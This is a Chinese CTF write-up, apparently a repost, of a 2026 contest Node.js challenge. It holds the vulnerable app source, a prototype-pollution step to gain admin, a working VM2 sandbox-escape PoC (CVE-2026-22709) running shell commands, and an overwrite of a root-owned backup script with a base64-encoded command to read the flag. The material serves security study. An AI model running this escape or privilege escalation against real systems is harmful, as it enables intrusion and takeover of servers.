文章总结: 该文档复现了26年软件安全区域赛Node.js题目,核心漏洞为changepassword路由中的原型链污染(通过merge函数污染isAdmin属性获取管理员权限)和VM2沙箱逃逸(CVE-2026-22709)。作者在比赛中因未发现静态目录导致反弹shell失败,赛后通过写文件到public目录实现无回显命令执行,具体操作为将命令结果写入静态文件后通过/static路径访问。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,红队,安全工具
26软件安全区域赛nodejs复现
原创
浪漫土狗 浪漫土狗
正在思考ing
2026年5月8日 09:09 江苏
在小说阅读器读本章
去阅读
前言
所以比赛的一整天弹shell都弹不动是何意位啊😭😭😭
特地存了vm2最新cve的poc,结果在现场尝试了一天的反弹shell都失败,而且我一弹shell环境就崩溃。当时电脑里也没有安装vm2,本地根本起不了,只能反复的开关容器尝试🤡。但是这还不是最绝望的,最绝望的是比赛时还想过写文件操作,但是不确定有没有设置静态目录,于是随便猜了个目录名没成功就放弃了,水橙想呢,反耳就在源码第七行写了静态目录的目录名🤬😡👿愣是一天都没注意到这一行的代码,也是被自己菜哭了好吧😭😭😭
赛后在本地测试是能弹shell的,我真的没招了,给了兄弟。之前测试反弹shell的记录没保存,附件也删了,本文就记录下写文件处理无回显的方法。其实本来还想顺便学习一下CVE-2026-22709的漏洞原理,但显然我是高估了自己的能力了,这里就简单记录下这道题的解题思路。
参考链接
https://xz.aliyun.com/news/91998
题目复现
题目源码:
const express = require('express');
const path = require('path');
const session = require('express-session');
const { VM } = require('vm2');
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
// Session 配置
app.use(session({
secret: 'random',
resave: false,
saveUninitialized: false,
cookie: {
maxAge: 3600000, // 1小时
httpOnly: true
}
}));
const users = {};
function merge(target, source) {
for (let key in source) {
if (key === '__proto__') continue;
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// 首页
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
// 注册
app.post('/register', (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.json({ error: '用户名和密码不能为空' });
}
if (users[username]) {
return res.json({ error: '用户已存在' });
}
users[username] = { username, password };
res.json({ message: '注册成功,请登录' });
});
// 登录
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (!user || user.password !== password) {
return res.json({ error: '用户名或密码错误' });
}
req.session.user = { username: user.username };
res.json({
message: '登录成功',
user: {
username: user.username,
isAdmin: user.isAdmin
}
});
});
// 退出登录
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) {
return res.json({ error: '退出失败' });
}
res.json({ message: '已退出登录' });
});
});
// 修改密码
app.post('/changepassword', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
const { oldPassword, newPassword, confirmPassword } = req.body;
// 验证旧密码
if (user.password !== oldPassword) {
return res.json({ error: '旧密码错误' });
}
// 验证新密码
if (newPassword !== confirmPassword) {
return res.json({ error: '两次密码不一致' });
}
merge(user, req.body);
user.password = newPassword;
res.json({ message: '密码修改成功' });
});
// 用户信息(检查登录状态)
app.get('/me', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
res.json({
username: user.username,
isAdmin: user.isAdmin
});
});
// 管理员面板
app.get('/admin', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
if (user.isAdmin === true) {
res.json({
message: '欢迎管理员!',
});
} else {
res.json({ error: '需要管理员权限' });
}
});
app.post('/sandbox', async (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
if (user.isAdmin !== true) {
return res.json({ error: '需要管理员权限' });
}
const { code } = req.body;
if (!code) return res.json({ error: '请提供代码' });
try {
const sandboxResult = { value: null };
const vm = new VM({
timeout: 5000,
sandbox: { __result: sandboxResult }
});
const result = vm.run(code);
awaitnewPromise(resolve => setTimeout(resolve, 500));
res.json({
result: result?.toString() || '执行成功',
output: sandboxResult.value
});
} catch (error) {
res.json({ error: error.message });
}
});
app.listen(3000, () => {
console.log('Server running on port 3000');
});
注意看changepassword路由中出现merge函数,这是原型链污染最常利用的函数,我们可以通过控制req.body的内容来进行污染
if (newPassword !== confirmPassword) {
return res.json({ error: '两次密码不一致' });
}
merge(user, req.body);
user.password = newPassword;
res.json({ message: '密码修改成功' });
再看admin路由,会从users对象中获取当前用户的isAdmin值进行身份认证,isAdmin属性值为true能获取到admin权限。因为修改密码的操作是没有任何限制的,我们可以抓包然后添加一条isAdmin=true从而污染users对象中的属性。
app.get('/admin', (req, res) => {
if (!req.session.user) return res.json({ error: '请先登录' });
const username = req.session.user.username;
const user = users[username];
if (user.isAdmin === true) {
res.json({
message: '欢迎管理员!',
});
} else {
res.json({ error: '需要管理员权限' });
}
});
再次登录就能执行命令
源码中提到vm2的版本为3.10.0,是最新的版本,所以前面老的漏洞就不再考虑,直接看最新的漏洞CVE-2026-22709。因为不懂原理这里就直接利用poc了
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('whoami');
},
valueOf: undefined,
constructor: undefined,
}
WebAssembly.compileStreaming(obj).catch(()=>{});
结果表示执行成功,在比赛时回显的结果是绿色的,表示执行成功,如果报错就会回显红色的错误信息。针对无回显,要么就是反弹shell,要么就是写文件。本题采用的后面一个方法
app.use('/static', express.static(path.join(__dirname, 'public')));
注意到app.js中第七行的这段代码,说明是存在静态目录的,所以可以使用写文件的方法,具体操作就是将命令执行结果写入到/app/public/目录下的文件中,然后在浏览器上访问/static/文件名即可读取到静态目录下的对应文件
ls / -l > /app/public/ls.txt
改下命令,然后访问/static/ls.txt可以获取到命令执行的结果
total 80
drwxr-xr-x 1 root root 4096 May 7 12:26 app
-rwxrwxrwx 1 root root 379 May 7 11:45 backup.sh
lrwxrwxrwx 1 root root 7 Apr 10 02:21 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 18 2022 boot
drwxr-xr-x 5 root root 340 May 7 12:26 dev
-rwxrwxrwx 1 root root 178 May 7 12:24 entrypoint.sh
drwxr-xr-x 1 root root 4096 May 7 12:26 etc
-r-------- 1 root root 44 May 7 11:45 flag
drwxr-xr-x 2 root root 4096 Apr 18 2022 home
lrwxrwxrwx 1 root root 7 Apr 10 02:21 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Apr 10 02:21 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Apr 10 02:21 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Apr 10 02:21 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Apr 10 02:21 media
drwxr-xr-x 2 root root 4096 Apr 10 02:21 mnt
drwxr-xr-x 2 root root 4096 Apr 10 02:21 opt
dr-xr-xr-x 309 root root 0 May 7 12:26 proc
drwx------ 1 root root 4096 May 7 12:26 root
drwxr-xr-x 1 root root 4096 May 7 12:26 run
lrwxrwxrwx 1 root root 8 Apr 10 02:21 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Apr 10 02:21 srv
dr-xr-xr-x 13 root root 0 May 7 09:27 sys
drwxrwxrwt 1 root root 4096 May 7 12:26 tmp
drwxr-xr-x 1 root root 4096 Apr 10 02:21 usr
drwxr-xr-x 1 root root 4096 Apr 10 02:31 var
可以看到flag是不可读的,没有权限,注意到该目录下还有个backup.sh文件,查看内容
#!/bin/sh
BACKUP_DIR="/tmp/backups"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="$BACKUP_DIR/app_backup_$TIMESTAMP.tar.gz"
mkdir -p "$BACKUP_DIR"
echo "Creating backup: $BACKUP_FILE"
tar -czf "$BACKUP_FILE" -C /app .
chmod 644 "$BACKUP_FILE"
cd "$BACKUP_DIR" && ls -t app_backup_*.tar.gz | tail -n +6 | xargs rm -f 2>/dev/null || true
echo "Backup completed: $BACKUP_FILE"
这是一个备份工具,所有权为root,可以利用该文件进行提权,先将读取flag的命令覆盖该文件的内容,然后再执行该文件
echo ZWNobyAiY2F0IC9mbGFnID4gL2FwcC9wdWJsaWMvZmxhZyIgPiAvYmFja3VwLnNo | base64 -d | sh
这里我选择进行base64编码这样就不用考虑引号问题,然后再将该命令替换为/backup.sh运行该文件去执行写入的命令,最后访问/static/flag就能获取到flag
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:正在思考ing 浪漫土狗 浪漫土狗《26软件安全区域赛nodejs复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论